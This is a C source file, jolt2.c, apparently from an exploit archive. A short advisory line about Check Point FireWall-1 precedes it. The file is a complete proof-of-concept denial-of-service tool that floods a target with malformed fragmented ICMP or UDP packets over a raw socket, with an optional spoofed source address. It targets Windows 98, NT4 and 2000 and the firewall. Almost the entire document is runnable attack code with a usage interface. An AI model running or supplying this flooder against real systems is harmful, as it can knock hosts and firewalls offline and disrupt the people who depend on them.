// source: https://www.securityfocus.com/bid/1312/info By sending illegally fragmented packets directly to or routed through Check Point FireWall-1, it is possible to force the firewall to use 100% of available processor time logging these packets. The FireWall-1 rulebase cannot prevent this attack and it is not logged in the firewall logs. /* * File: jolt2.c * Author: Phonix * Date: 23-May-00 * * Description: This is the proof-of-concept code for the * Windows denial-of-serice attack described by * the Razor team (NTBugtraq, 19-May-00) * (MS00-029). This code causes cpu utilization * to go to 100%. * * Tested against: Win98; NT4/SP5,6; Win2K * * Written for: My Linux box. YMMV. Deal with it. * * Thanks: This is standard code. Ripped from lots of places. * Insert your name here if you think you wrote some of * it. It's a trivial exploit, so I won't take credit * for anything except putting this file together. */ #include #include #include #include #include #include #include #include #include #include #include struct _pkt { struct iphdr ip; union { struct icmphdr icmp; struct udphdr udp; } proto; char data; } pkt; int icmplen = sizeof(struct icmphdr), udplen = sizeof(struct udphdr), iplen = sizeof(struct iphdr), spf_sck; void usage(char *pname) { fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); exit(0); } u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) { int bs, psize; unsigned long x; struct sockaddr_in to; to.sin_family = AF_INET; to.sin_port = 1235; to.sin_addr.s_addr = dst_addr; if (port) psize = iplen + udplen + 1; else psize = iplen + icmplen + 1; memset(&pkt, 0, psize); pkt.ip.version = 4; pkt.ip.ihl = 5; pkt.ip.tot_len = htons(iplen + icmplen) + 40; pkt.ip.id = htons(0x455); pkt.ip.ttl = 255; pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons (8190); if (port) { pkt.proto.udp.source = htons(port|1235); pkt.proto.udp.dest = htons(port); pkt.proto.udp.len = htons(9); pkt.data = 'a'; } else { pkt.proto.icmp.type = ICMP_ECHO; pkt.proto.icmp.code = 0; pkt.proto.icmp.checksum = 0; } while (1) { bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); } return bs; } int main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, bs=1, port=0; char hostname[32]; if (argc < 2) usage (argv[0]); gethostname (hostname, 32); src_addr = host_to_ip(hostname); while ((i = getopt (argc, argv, "s:p:h")) != EOF) { switch (i) { case 's': dst_addr = host_to_ip(optarg); if (!dst_addr) quit("Bad source address given."); break; case 'p': port = atoi(optarg); if ((port <=0) || (port > 65535)) quit ("Invalid port number given."); break; case 'h': default: usage (argv[0]); } } dst_addr = host_to_ip(argv[argc-1]); if (!dst_addr) quit("Bad destination address given."); spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) quit("IP_HDRINCL"); do_frags (spf_sck, src_addr, dst_addr, port); }

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